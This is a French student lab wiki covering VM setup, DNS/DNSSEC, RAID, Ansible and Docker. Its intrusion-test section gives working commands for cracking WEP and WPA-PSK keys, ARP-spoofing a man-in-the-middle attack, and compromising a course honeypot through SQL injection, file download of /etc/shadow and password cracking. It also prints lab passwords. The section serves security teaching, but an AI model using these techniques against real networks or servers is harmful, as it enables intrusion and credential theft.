TP sysres IMA5sc 2020/2021 G9

De Wiki d'activités IMA
Révision datée du 21 décembre 2020 à 17:59 par Tvieuble (discussion | contributions) (Docker)

Création de la VM

 root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5
 --- Logical volume ---
 LV Path                /dev/storage/PaulTanguy1
 LV Name                PaulTanguy1
 VG Name                storage
 LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100
 LV Status              available
 # open                 0
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:24
  
 --- Logical volume ---
 LV Path                /dev/storage/PaulTanguy2
 LV Name                PaulTanguy2
 VG Name                storage
 LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt
 LV Write Access        read/write
 LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100
 LV Status              available
 # open                 0
 LV Size                10.00 GiB
 Current LE             2560
 Segments               1
 Allocation             inherit
 Read ahead sectors     auto
 - currently set to     256
 Block device           254:25

Services Internet

Serveur SSH

On installe simplement un serveur SSH sur la VM. On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root. On peut s'y connecter à distance avec la commande suivante :

 ssh root@ns1.calicedelamort.site

(avec le même mot de passe (pifou) que les machines de TPs)

Serveur DNS

Dans un premier temps, on loue un nom de domaine sur gandi.net. Notre nom de domaine est calicedelamort.site

Ensuite, on installe sur la VM, le paquetage bind9

Une fois ce paquetage installé, on modifie les fichiers de configuration.

Dans /etc/bind/db.calicedelamort.site

;BIND data file for local loopback interface
;
$TTL    604800
@       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (
                             3         ; Serial
                        604800         ; Refresh
                         86400         ; Retry
                       2419200         ; Expire
                        604800 )       ; Negative Cache TTL
;
@       IN      NS      ns1.calicedelamort.site.
@       IN      NS      ns6.gandi.net.
@	IN	MX	100	ns1
ns1     IN      A       193.48.57.180

Ensuite, dans /etc/bind/named.conf.local

zone "calicedelamort.site" IN {
    type master;
    file "/etc/bind/db.calicedelamort.site";
    allow-transfer {217.70.177.40;};
};
 

Et enfin, dans /etc/bind/name.conf.options :

options {
    directory "/var/cache/bind";
    dnssec-enable yes;
    dnssec-validation auto;
    listen-on-v6 { any; };
    allow-recursion { localhost; };
};

Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180. Puis, on ajoute dans serveurs de noms externes :

ns1.calicedelamort.site
ns6.gandi.net

Sécurisation de site web par certificat

La première étape est de générer un certificat à l'aide de la commande suivante :

 openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr

Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.

Sécurisation de serveur DNS par DNSSEC

En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local

 dnssec-enable yes

Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :

 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site

Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :

 $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key
 $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key

Enfin, nous signons le tout à l'aide de la commande :

 dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk 

Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :

 zone "calicedelamort.site" IN {
   type master;
   file "/etc/bind/db.calicedelamort.site.signed";
   allow-transfer{217.70.177.40;};
 };

Pour finir, nous relançons bind9 :

 service bind9 restart

Tests d'intrusion

Cassage de clef WEP d'un point d'accés Wifi

En premier lieu, on installe le paquetage aircrack-ng sur un PC.

Ensuite, on utilise les commandes suivantes :

 airmon-ng

Cette commande permet d'afficher les interfaces réseau

Airmong.PNG
 airmon-ng start <interface>

Pour passer l'interface en mode monitor

 airodump-ng --encrypt wep 'nomInterface'

Pour afficher les réseaux wifi WEP

Capture-wep-encrypt.PNG
 airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'

Pour capturer les paquets émis par le point d'accés ciblé

 aircrack-ng -x 'nomFichier'-01.cap

Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)

Cassage de mot de passe WPA-PSK par force brute

Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.

On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK

 airodump-ng --encrypt wpa-psk 'nomInterface'
 airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'

Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng

Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible Pour cela, on utilisa la commande :

 crunch 8 8 0123456789 > 'nomDuDico.txt'

Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :

 aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap

Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.

Crack resultat WPA.PNG

Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.

La commande est la suivante:

 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx

Man In The Middle

(Homme du milieu en anglais)

D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :

  echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on utilise la commande du paquet dsniff :

 arpspoof -i eth0 -t 172.26.145.254 172.26.145.58
 arpspoof -i eth0 -t 172.26.145.58 172.26.145.254

Enfin, on utilise wireshark pour observer les paquets. Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.

Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.

Wiresharck.jpg

Intrusion sur un serveur d'application Web

Pour cette partie, on se rend sur le lien http://honey.plil.info. Nous y trouvons une page de connexion demandant un login et un password.

N'ayant pas de compte sur ce site, on essaye une simple injection SQL : Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : " ' OR 1 = 1 -- " Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs


Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur. En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.

Ajoutmanuel.png


En parallèle de cela, à l'aide de la commande

 dirb http://honey.plil.info/

On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin

Phpmyadmin.png

Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.

Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.

En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php

Nous uploadons et téléchargeons ce fichier depuis la page web :

Config dbphp.png

Nous avons maintenant accès à la page de gestion de la base de données du serveur.


Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :

Passwd.PNG


On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.

En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.

On se connecte donc en ssh sur cet utilisateur.

 ssh rex@honey.plil.info

La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.

Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.

On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper. On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.

On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.

Réalisation

Sécurisation de données

Nous avons dans un premier temps créé 3 partitions virtuelles:

lvcreate -L1G -n calicedelamort-raid1 storage
lvcreate -L1G -n calicedelamort-raid2 storage
lvcreate -L1G -n calicedelamort-raid3 storage

Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg

disk        = [
                 'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',
                 'phy:/dev/storage/PaulTanguy1,xvda3,w',
                 'phy:/dev/storage/PaulTanguy2,xvda4,w',
                 'phy:/dev/storage/calicedelamort-raid1,xvda5,w',
                 'phy:/dev/storage/calicedelamort-raid2,xvda6,w',
                 'phy:/dev/storage/calicedelamort-raid3,xvda7,w',
             ]

il faut ensuite redémarrer notre VM:

xl destroy Calicedelamort
xl create /etc/xen/Calicedelamort.cfg

Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:

apt instal mdadm

Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.

mkfs.ext4 /dev/md0 

On rajoute cette ligne dans le fstab :

  /dev/md0   /raid5   ext4   defaults   0   2


Pour finir, on peuple notre volume RAID.

mkdir /raid5
mount -a
touch /raid5/test

TP ASR

Ajout d'une seconde interface réseau sur la VM

On se connecte sur capbreton

 ssh root@capbreton

Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'

 nano /etc/xen/Calicedelamort.cfg
 
 vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]

Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP

 auto eth1
 iface eth1 inet static
   address 192.168.42.9
   netmask 255.255.255.0

Pour finir on réalise une masquarade à l'aide de la commande iptables

  iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23

Ansible

Premièrement, on installe ansible sur notre VM sur capbreton

 apt install ansible

Ensuite, on génère les clefs ssh avec la commande

 ssh-keygen -t rsa

Puis, on installe la clef publique sur les Vms cibles

 cat .ssh/id_rsa.pub | ssh root@192.168.42.9 "cat >> /root/.ssh/authorized_keys2" (installation sur notre VM chassiron)

On crée ensuite un inventaire : /etc/ansible/hosts

 [Me_Chassiron]
 calicedelamort ansible_host=192.168.42.9
 [All_Chassiron]
 calicedelamort ansible_host=192.168.42.9
 truffe ansible_host=192.168.42.12
 girolle ansible_host=192.168.42.7
 amanite ansible_host=192.168.42.5
 tricholome ansible_host=192.168.42.4
 ophiocordyceps ansible_host=192.168.42.2

Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.

- name: Modification de /etc/motd
  copy:
     src: "../files/modif_motd"
     dest: "/etc/motd"
     owner: root
     group: root
     mode: '0644'
- name: Installation de ntp
  apt:
   name: ntp
   state: latest
- name: Copie de ntp conf
  copy:
     src: "../files/ntp.conf"
     dest: "/etc/ntp.conf"
     owner: root
     group: root
     mode: '0644'

Docker

Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.

 - name: python install
   apt:
    update_cache: yes
    name: "{ { packages } }"
   vars:
    packages:
          - python3
          - python3-pip
 - name: docker pip install
   pip:
     name:
          - docker